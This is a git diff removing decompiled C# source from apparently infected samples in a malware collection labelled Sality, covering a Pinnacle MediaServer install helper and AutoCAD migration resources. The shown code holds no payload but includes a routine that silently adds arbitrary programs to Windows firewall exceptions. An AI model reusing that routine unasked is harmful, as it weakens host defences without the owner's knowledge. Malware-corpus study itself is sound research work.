ArrayList(); - private FolderImporter m_Importer = (FolderImporter) null; - private bool m_Done = false; - private int m_FolderIndex = 0; - private bool m_Quiet = false; - private ArrayList m_FWAddFiles = new ArrayList(); - private GroupBox groupBox; - private System.Windows.Forms.Label label; - private Container components = (Container) null; - - public MainForm(string[] args) - { - this.InitializeComponent(); - if (args.Length == 0) - { - StringBuilder stringBuilder = new StringBuilder(); - stringBuilder.Append("Commandline:\n"); - stringBuilder.Append("\n /fw AppPath1 AppPath2\t- unblock firewall for these programs ( local scope )"); - stringBuilder.Append("\n /q\t\t\t- quiet media import"); - stringBuilder.Append("\n /r RootPath\t\t- import folders are realtiv to this root path"); - stringBuilder.Append("\n /f Folder1 Folder2\t\t- import folders (absolut or relativ(/r) )"); - stringBuilder.Append("\n /l FilePath\t\t- textfile which contains import folder list (absolut or relativ(/r)"); - stringBuilder.Append("\n /s\t\t\t- scan also subfolder"); - int num = (int) MessageBox.Show(stringBuilder.ToString(), "PMS Install Init", MessageBoxButtons.OK, MessageBoxIcon.Asterisk); - throw new Exception(); - } - this.ParseArgs(args); - try - { - WinXPFirewall winXpFirewall = new WinXPFirewall(); - string executablePath = Application.ExecutablePath; - winXpFirewall.AddApp(Path.GetFileName(executablePath), executablePath, true, NET_FW_SCOPE_.NET_FW_SCOPE_LOCAL_SUBNET); - for (int index = 0; index < this.m_FWAddFiles.Count; ++index) - winXpFirewall.AddApp(Path.GetFileName((string) this.m_FWAddFiles[index]), (string) this.m_FWAddFiles[index], true, NET_FW_SCOPE_.NET_FW_SCOPE_LOCAL_SUBNET); - } - catch - { - } - if (this.m_ImportFolders.Count == 0) - throw new Exception(); - if (this.m_Quiet) - this.Hide(); - else - this.Show(); - this.m_Timer.Tick += new EventHandler(this.TimerEvent); - this.m_Timer.Interval = 1000; - this.m_Timer.Start(); - } - - protected override void Dispose(bool disposing) - { - if (disposing && this.components != null) - this.components.Dispose(); - base.Dispose(disposing); - } - - private void TimerEvent(object myObject, EventArgs myEventArgs) - { - if (this.m_MediaServerProxy == null) - { - this.m_MediaServerProxy = MediaServerProxy.CreateProxy(); - if (this.m_MediaServerProxy == null) - { - this.m_Timer.Stop(); - } - else - { - this.m_FailTime = DateTime.Now.AddMinutes(1.0); - this.Box("Waiting for MediaServer connection ..."); - } - } - else if (!this.m_MediaServerProxy.IsConnected) - { - if (DateTime.Now > this.m_FailTime) - { - this.m_Timer.Stop(); - Application.Exit(); - } - else - { - try - { - this.m_MediaServerProxy.Connect(); - } - catch (MediaServerException ex) - { - } - } - } - else - { - if (this.m_Done) - return; - if (this.m_FolderIndex >= this.m_ImportFolders.Count) - { - this.m_Timer.Stop(); - Application.Exit(); - } - else - { - if (this.m_Importer == null) - { - this.m_Importer = new FolderImporter(((IPMediaServer) this.m_MediaServerProxy).GetMediaContext((string) null)); - this.m_Importer.IncludeSubdirectories = this.m_ScanSubfolder; - // ISSUE: method pointer - this.m_Importer.FileDetected += new FolderImporter.PathFileEventHandler2((object) this, __methodptr(Import_FileDetected)); - // ISSUE: method pointer - this.m_Importer.Done += new FolderImporter.PathFileEventHandler((object) this, __methodptr(Import_Done)); - } - this.Box("Importing ... "); - this.m_Importer.Path = (string) this.m_ImportFolders[this.m_FolderIndex++]; - this.m_Importer.Run(); - this.m_Done = false; - } - } - } - - private bool Import_FileDetected(IPMediaItem item) - { - this.Label(((IPPropertiesBase) item).StoragePath); - return true; - } - - private bool Import_Done(string fullpath) - { - this.Label(""); - this.m_Done = true; - return true; - } - - private void Box(string text) - { - this.groupBox.Text = text; - this.groupBox.Update(); - } - - private void Label(string text) - { - this.label.Text = text; - this.label.Update(); - } - - private bool ParseArgs(string[] args) - { - int index1 = 0; -label_33: - while (index1 < args.Length) - { - string lower = args[index1++].ToLower(); - if (lower == "/s") - this.m_ScanSubfolder = true; - else if (lower == "/q") - this.m_Quiet = true; - else if (lower == "/r") - { - if (index1 >= args.Length || args[index1].IndexOf("/", 0, 1) >= 0) - return false; - this.m_RelativRoot = args[index1++]; - this.m_Relative = true; - } - else if (lower == "/f") - { - if (index1 >= args.Length || args[index1].IndexOf("/", 0, 1) >= 0) - return false; - while (true) - { - if (index1 < args.Length && args[index1].IndexOf("/", 0, 1) < 0) - this.m_ImportFolders.Add((object) args[index1++]); - else - goto label_33; - } - } - else if (lower == "/l") - { - if (index1 >= args.Length || args[index1].IndexOf("/", 0, 1) >= 0) - return false; - string path = args[index1++]; - if (!File.Exists(path)) - return false; - StreamReader streamReader = (StreamReader) null; - try - { - streamReader = File.OpenText(path); - string str; - while ((str = streamReader.ReadLine()) != null) - { - if (str.Length != 0) - this.m_ImportFolders.Add((object) str); - } - } - catch - { - return false; - } - finally - { - streamReader?.Close(); - } - } - else if (lower == "/fw") - { - if (index1 >= args.Length || args[index1].IndexOf("/", 0, 1) >= 0) - return false; - while (true) - { - if (index1 < args.Length && args[index1].IndexOf("/", 0, 1) < 0) - this.m_FWAddFiles.Add((object) args[index1++]); - else - goto label_33; - } - } - } - if (this.m_Relative) - { - for (int index2 = 0; index2 < this.m_ImportFolders.Count; ++index2) - this.m_ImportFolders[index2] = (object) (this.m_RelativRoot + "\\" + this.m_ImportFolders[index2]); - } - return true; - } - - private void InitializeComponent() - { - this.groupBox = new GroupBox(); - this.label = new System.Windows.Forms.Label(); - this.groupBox.SuspendLayout(); - this.SuspendLayout(); - this.groupBox.Anchor = AnchorStyles.Top | AnchorStyles.Bottom | AnchorStyles.Left | AnchorStyles.Right; - this.groupBox.Controls.Add((Control) this.label); - this.groupBox.Location = new Point(8, 16); - this.groupBox.Name = "groupBox"; - this.groupBox.Size = new Size(432, 72); - this.groupBox.TabIndex = 1; - this.groupBox.TabStop = false; - this.label.Anchor = AnchorStyles.Top | AnchorStyles.Left | AnchorStyles.Right; - this.label.Location = new Point(8, 24); - this.label.Name = "label"; - this.label.Size = new Size(416, 40); - this.label.TabIndex = 0; - this.AutoScaleBaseSize = new Size(5, 13); - this.ClientSize = new Size(448, 110); - this.Controls.Add((Control) this.groupBox); - this.MaximizeBox = false; - this.MinimizeBox = false; - this.Name = nameof (MainForm); - this.ShowInTaskbar = false; - this.Text = "Pinnacle Install Init"; - this.groupBox.ResumeLayout(false); - this.ResumeLayout(false); - } - - [STAThread] - private static void Main(string[] args) - { - try - { - Application.Run((ApplicationContext) new MyApplicationContext(args)); - } - catch - { - } - } - } -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/PinnacleSys/MediaServer/MainForm.resx b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/PinnacleSys/MediaServer/MainForm.resx deleted file mode 100644 index 479dc500..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/PinnacleSys/MediaServer/MainForm.resx +++ /dev/null @@ -1,177 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - AAEAAAD/////AQAAAAAAAAAEAQAAAA5TeXN0ZW0uQm9vbGVhbgEAAAAHbV92YWx1ZQABAQs= - - - AAEAAAD/////AQAAAAAAAAAEAQAAAA5TeXN0ZW0uQm9vbGVhbgEAAAAHbV92YWx1ZQABAAs= - - - CE1haW5Gb3Jt - - - AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjUwMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAABQAAAL - - - AAEAAAD/////AQAAAAAAAAAEAQAAAA5TeXN0ZW0uQm9vbGVhbgEAAAAHbV92YWx1ZQABAAs= - - - AAEAAAD/////AQAAAAAAAAAEAQAAAA5TeXN0ZW0uQm9vbGVhbgEAAAAHbV92YWx1ZQABAQs= - - - AAEAAAD/////AQAAAAAAAAAEAQAAAA5TeXN0ZW0uQm9vbGVhbgEAAAAHbV92YWx1ZQABAAs= - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFRTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0xLjAuNTAwMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABNTeXN0ZW0uRHJhd2luZy5TaXplAgAAAAV3aWR0aAZoZWlnaHQAAAgIAgAAAAgAAAAIAAAACw== - - - AAEAAAD/////AQAAAAAAAAAEAQAAAA5TeXN0ZW0uQm9vbGVhbgEAAAAHbV92YWx1ZQABAAs= - - - AAEAAAD/////AQAAAAAAAAAEAQAAACBTeXN0ZW0uR2xvYmFsaXphdGlvbi5DdWx0dXJlSW5mbwoAAAAGbV9uYW1lCm1fZGF0YUl0ZW0RbV91c2VVc2VyT3ZlcnJpZGUJY3VsdHVyZUlEDG1faXNSZWFkT25seQtjb21wYXJlSW5mbwh0ZXh0SW5mbwdudW1JbmZvDGRhdGVUaW1lSW5mbwhjYWxlbmRhcgEAAAAAAwMDAwMIAQgBIFN5c3RlbS5HbG9iYWxpemF0aW9uLkNvbXBhcmVJbmZvHVN5c3RlbS5HbG9iYWxpemF0aW9uLlRleHRJbmZvJVN5c3RlbS5HbG9iYWxpemF0aW9uLk51bWJlckZvcm1hdEluZm8nU3lzdGVtLkdsb2JhbGl6YXRpb24uRGF0ZVRpbWVGb3JtYXRJbmZvHVN5c3RlbS5HbG9iYWxpemF0aW9uLkNhbGVuZGFyCsoAAAAAfwAAAAEJAgAAAAkDAAAACQQAAAAKCgQCAAAAIFN5c3RlbS5HbG9iYWxpemF0aW9uLkNvbXBhcmVJbmZvAgAAAAl3aW4zMkxDSUQHY3VsdHVyZQAACAh/AAAAfwAAAAQDAAAAHVN5c3RlbS5HbG9iYWxpemF0aW9uLlRleHRJbmZvAwAAAAttX25EYXRhSXRlbRFtX3VzZVVzZXJPdmVycmlkZQ1tX3dpbjMyTGFuZ0lEAAAACAEIygAAAAB/AAAABAQAAAAlU3lzdGVtLkdsb2JhbGl6YXRpb24uTnVtYmVyRm9ybWF0SW5mbx8AAAAQbnVtYmVyR3JvdXBTaXplcxJjdXJyZW5jeUdyb3VwU2l6ZXMRcGVyY2VudEdyb3VwU2l6ZXMMcG9zaXRpdmVTaWduDG5lZ2F0aXZlU2lnbhZudW1iZXJEZWNpbWFsU2VwYXJhdG9yFG51bWJlckdyb3VwU2VwYXJhdG9yFmN1cnJlbmN5R3JvdXBTZXBhcmF0b3IYY3VycmVuY3lEZWNpbWFsU2VwYXJhdG9yDmN1cnJlbmN5U3ltYm9sEmFuc2lDdXJyZW5jeVN5bWJvbAluYW5TeW1ib2wWcG9zaXRpdmVJbmZpbml0eVN5bWJvbBZuZWdhdGl2ZUluZmluaXR5U3ltYm9sF3BlcmNlbnREZWNpbWFsU2VwYXJhdG9yFXBlcmNlbnRHcm91cFNlcGFyYXRvcg1wZXJjZW50U3ltYm9sDnBlck1pbGxlU3ltYm9sCm1fZGF0YUl0ZW0TbnVtYmVyRGVjaW1hbERpZ2l0cxVjdXJyZW5jeURlY2ltYWxEaWdpdHMXY3VycmVuY3lQb3NpdGl2ZVBhdHRlcm4XY3VycmVuY3lOZWdhdGl2ZVBhdHRlcm4VbnVtYmVyTmVnYXRpdmVQYXR0ZXJuFnBlcmNlbnRQb3NpdGl2ZVBhdHRlcm4WcGVyY2VudE5lZ2F0aXZlUGF0dGVybhRwZXJjZW50RGVjaW1hbERpZ2l0cwppc1JlYWRPbmx5EW1fdXNlVXNlck92ZXJyaWRlFXZhbGlkRm9yUGFyc2VBc051bWJlchd2YWxpZEZvclBhcnNlQXNDdXJyZW5jeQcHBwEBAQEBAQEBAQEBAQEBAQAAAAAAAAAAAAAAAAAICAgICAgICAgICAgBAQEBCQUAAAAJBgAAAAkFAAAABggAAAABKwYJAAAAAS0GCgAAAAEuBgsAAAABLAYMAAAAASwGDQAAAAEuBg4AAAACwqQKBg8AAAADTmFOBhAAAAAISW5maW5pdHkGEQAAAAktSW5maW5pdHkJCgAAAAkLAAAABhQAAAABJQYVAAAAA+KAsMoAAAACAAAAAgAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAgAAAAEAAQEPBQAAAAEAAAAIAwAAAA8GAAAAAQAAAAgDAAAACw== - - - AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjUwMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAABQAAAL - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFRTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0xLjAuNTAwMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABNTeXN0ZW0uRHJhd2luZy5TaXplAgAAAAV3aWR0aAZoZWlnaHQAAAgIAgAAAAgAAAAIAAAACw== - - - AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjUwMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAABQAAAL - - - AAEAAAD/////AQAAAAAAAAAEAQAAAA5TeXN0ZW0uQm9vbGVhbgEAAAAHbV92YWx1ZQABAQs= - - - UAAAAA== - - - AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjUwMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAABQAAAL - - - AAEAAAD/////AQAAAAAAAAAEAQAAAA5TeXN0ZW0uQm9vbGVhbgEAAAAHbV92YWx1ZQABAQs= - - - AAEAAAD/////AQAAAAAAAAAEAQAAAA5TeXN0ZW0uQm9vbGVhbgEAAAAHbV92YWx1ZQABAAs= - - - AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjUwMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAABQAAAL - - \ No newline at end of file diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/PinnacleSys/MediaServer/MyApplicationContext.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/PinnacleSys/MediaServer/MyApplicationContext.cs deleted file mode 100644 index 931242d9..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/PinnacleSys/MediaServer/MyApplicationContext.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: PinnacleSys.MediaServer.MyApplicationContext -// Assembly: PMSInstallInit, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 1143B458-69F7-4F72-9059-A13F9AB730BC -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6.exe - -using System.Windows.Forms; - -namespace PinnacleSys.MediaServer -{ - internal class MyApplicationContext : ApplicationContext - { - internal MyApplicationContext(string[] args) - { - MainForm mainForm = new MainForm(args); - } - } -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/Virus.Win32.Sality.sil.csproj b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/Virus.Win32.Sality.sil.csproj deleted file mode 100644 index f6f56407..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/Virus.Win32.Sality.sil.csproj +++ /dev/null @@ -1,62 +0,0 @@ - - - - - Debug - AnyCPU - {1FF1C4CA-7390-4347-B826-49B68E812360} - WinExe - PMSInstallInit - 1.0.0.0 - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/Virus.Win32.Sality.sil.sln b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/Virus.Win32.Sality.sil.sln deleted file mode 100644 index 46c7e2e4..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/Virus.Win32.Sality.sil.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "PMSInstallInit", "Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6.csproj", "{1FF1C4CA-7390-4347-B826-49B68E812360}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {1FF1C4CA-7390-4347-B826-49B68E812360}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {1FF1C4CA-7390-4347-B826-49B68E812360}.Debug|Any CPU.Build.0 = Debug|Any CPU - {1FF1C4CA-7390-4347-B826-49B68E812360}.Release|Any CPU.ActiveCfg = Release|Any CPU - {1FF1C4CA-7390-4347-B826-49B68E812360}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/ADMigratorResources.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/ADMigratorResources.cs deleted file mode 100644 index fdf6f679..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/ADMigratorResources.cs +++ /dev/null @@ -1,19 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Autodesk.AutoCAD.ADMigrator.ADMigratorResources -// Assembly: ADMigrator, Version=18.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 1EA8663B-E949-4FAD-ABC5-280393847F56 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33.exe - -using System.Resources; - -namespace Autodesk.AutoCAD.ADMigrator -{ - internal class ADMigratorResources - { - private ResourceManager m_RM; - - public ADMigratorResources() => this.m_RM = new ResourceManager(typeof (ADMigratorResources)); - - public string GetString(string sKey) => this.m_RM.GetString(sKey); - } -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/ADMigratorResources.resx b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/ADMigratorResources.resx deleted file mode 100644 index 0790581e..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/ADMigratorResources.resx +++ /dev/null @@ -1,330 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - _cust_settings - - - Error encountered migrating {0}-defined line files ({1}). - - - Main CUI File set to "{0}" - - - user hatch pattern files - - - _Migrated - - - {0} must be launched at least once prior to running migration. - - - WARNING - - - Your migration package has been successfully saved to: -{0} - - - No Log file to view. - - - Error encountered migrating CUI file - {0} could not be found. - - - Profiles migrated successfully. Would you like to view the log file now? - - - Migrate user profiles failed ({0}). - - - Migration status: -Migration finished on {0} with errors. - - - Error encountered migrating user-defined line files ({0}). - - - The language of the operating system that this file was created on is different from the current language setting. In some cases this can result in files getting restored to incorrect paths. - - - Errors were encountered during profile migration. Would you like to view the log file now? - - - ERROR: identity.ini not found. - - - An error occured during the export process. Please try again. - -ERROR:{0} - - - An unknown error occured during migration. - - - user line pattern files - - - Error locating UserDataCache folder. - - - Migration status: -Migration finished on {0} with errors. - - - Zip files (*.zip)|*.zip|All files (*.*)|*.* - - - {0} - Migrated from {1} - - - A log file was saved to the following location: -{0} - - - Migrate Profiles requires that {0} 2000 or a later version be installed on your system. - - - Icon files will be copied to {0}. - - - The file {0} already exists in the target location and therefore was not copied. - - - line patterns - - - Error encountered migrating user-defined hatch pattern files ({0}). - - - Initial Setup - - - {0} {1} migrated from "{2}" to "{3}" - - - Before you import a migration package, you must have launched {0} at least one time. - - - This migration package is for: -{0} ({2}) -It can only be imported to the same product version and language. - - - ======================================================= - - - migration.log - - - Your migration package has been imported; however, there were errors during the import process. - - - {0} Program Parameters from acad.pgp file migrated. - - - The Initial Setup feature is not installed. - - - Migration status: -Migration finished on {0} with no errors. - - - ERROR: identity.ini file format invalid. - - - Error encountered migrating {0}-defined hatch pattern files ({1}). - - - {0} is currently running. You must close this application prior to running Migrate Custom Settings. - - - Before you export a migration package, you must have launched {0} at least one time. - - - Error encountered executing the vertical application's migration tasks. - - - {0} icon files referenced in {1} were copied to your icons folder. - - - hatch patterns - - - You cannot import/export a migration package while -{0} is still running. - -Please close {1} and try again. - - - Error: Access to the path {0} was denied. - - - Error encountered migrating user profile settings ({0}). - - - Importing File: {0} - - - You can export settings and files from your {0} installation to migrate to other computers. - -IMPORTANT: All migrated files will be replaced on the new system. - - - Error: Resource key "{0}" is not correct format. - - - This file is not an {0} Migration Package. - - - Migration - - - File copied from "{0}" to "{1}" - - - Export Custom Settings - - - Import Custom Settings - - - Error encountered migrating {0}.pgp file ({1}). - - - File "{0}" merged to "{1}" - - - File "{0}" not found ({1}). Migrate user profiles failed. - - - Migrate Custom Settings - - - There was an error importing the Migration Package. - - - You have previously migrated settings to this {0} version. Migrating settings will overwrite your previous migration. -Are you sure you want to migrate settings? - - - Enterprise CUI File set to "{0}" - - \ No newline at end of file diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/AdMigLibResources.resx b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/AdMigLibResources.resx deleted file mode 100644 index 27e37819..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/AdMigLibResources.resx +++ /dev/null @@ -1,352 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - Default Printer Configuration set to "{0}" - - - Settings migrated from: - - - Migrator finished on {0}. - - - MNS - - - CUI - - - {0} PC3 Files - - - This log details the migration of settings from a previous version of {0}. Any problems encountered during the migration are listed in this log. - - - {0} Migration Log -Generated by: {0} Migrate Custom Settings version {3} -Settings migrated from: {1} -Migration template file: {4} version {5} -Migration performed on: {2} - - - If you run into any problems with any of your migrated profiles, you can restore the default {0} profile state by setting the <<{0} {1}>> to current from the Profiles tab of the Options dialog box. - - - Alternate Font File set to "{0}" - - - Support File Search Path set to "{0}" - - - Print Spooler File Location set to "{0}" - - - This log details the import of settings to {0}. Any problems encountered during the import are listed in this log. - - - Unnamed Profile - - - Custom Dictionary set to "{0}" - - - Help File set to "{0}" - - - This log details the export of settings from {0}. Any problems encountered during the export are listed in this log. - - - Drawing Template Path set to "{0}" - - - {0} Installation Folder = "{1}" - - - Default Internet Location set to "{0}" - - - {0} Tool Palletts files copied from "{1}" to "{2}": {3} - - - {0} Drawing Template files copied from "{1}" to "{2}": {3} - - - Import - - - Log File Location set to "{0}" - - - Profile - - - Font Mapping File set to "{0}" - - - The path {0} does not exist on the networked drive. The default path {1} will be used instead. - - - File copied from "{0}" to "{1}" - - - Settings migrated to: - - - Main Dictionary set to "{0}" - - - Save File As format is no longer supported in this release. Set to {0} 2000. - - - The path {0} is invalid. The default path {1} will be used instead. - - - Texture Maps Search Path set to "{0}" - - - Migrating Profile: "{0}" - - - The path {0} is a removable device. The default path {1} will be used instead. - - - Default Template File Name for QNET set to "{0}" - - - Pgp File - - - Printer Configuration Search Path set to "{0}", but you may need to modify various custom settings to get individual PC3 files working with {1}. - - - {0} Printer Configuration files copied from "{1}" to "{2}": {3} - - - Error encountered, resetting to default value: {0} - - - PostScript Prolog Section Name set to "{0}" - - - <<Unnamed Profile>> - - - The path {0} does not exist and could not be created. The default path {1} will be used instead. - - - Error encountered migrating files: {0} - - - Registered Tools Location set to "{0}" - - - {0} All Users Profile Root Folder = "{1}" - - - Text Editor set to "{0}" - - - {0} Plot Style Table files copied from {1} to {2}: {3} - - - ERROR: Application Profile for {0} not found in {1}. - - - General - - - {0} Local Profile Root Folder = "{1}" - - - The path {0} does not exist and could not be created. The default path {1} will be used instead. - - - iDrop Associated File Location set to "{0}" - - - Temporary Drawing File Location set to "{0}" - - - User Hatch File - - - {0} Printer Description files copied from "{1}" to "{2}": {3} - - - Plot File for Legacy Plotting Scripts set to "{0}" - - - Hatch File - - - Temporary External Reference File Location set to "{0}" - - - Printer Description File Search Path set to "{0}" - - - {0} Texture Map files copied from "{1}" to "{2}": {3} - - - Automatic Save File Location set to "{0}" - - - Loading Migration Profiles from {0}. - - - Tool Pallets File Location set to "{0}" - - - Data Sources Location set to "{0}" - - - Project Files Searth Path set to "{0}" - - - Color Book Location set to "{0}" - - - Line File - - - {0} Roamable Profile Root Folder = "{1}" - - - Image - - - Add-A-Plot Style Table Wizard - - - Device Driver File Searth Path set to "{0}" - - - User Line File - - - Plot Style Table Search Path set to "{0}" - - - Creating backup of <<{0}>> to <<{1} {2}>>. - - - XML Error encountered in {0}: {1}. - - \ No newline at end of file diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/AssemblyInfo.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/AssemblyInfo.cs deleted file mode 100644 index be3a1557..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/AssemblyInfo.cs +++ /dev/null @@ -1,6 +0,0 @@ -using System.Reflection; - -[assembly: AssemblyConfiguration("Production")] -[assembly: AssemblyTitle("Migration Executable")] -[assembly: AssemblyDescription("Migration of custom settings and files")] -[assembly: AssemblyVersion("18.0.0.0")] diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/CUIFileMap.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/CUIFileMap.cs deleted file mode 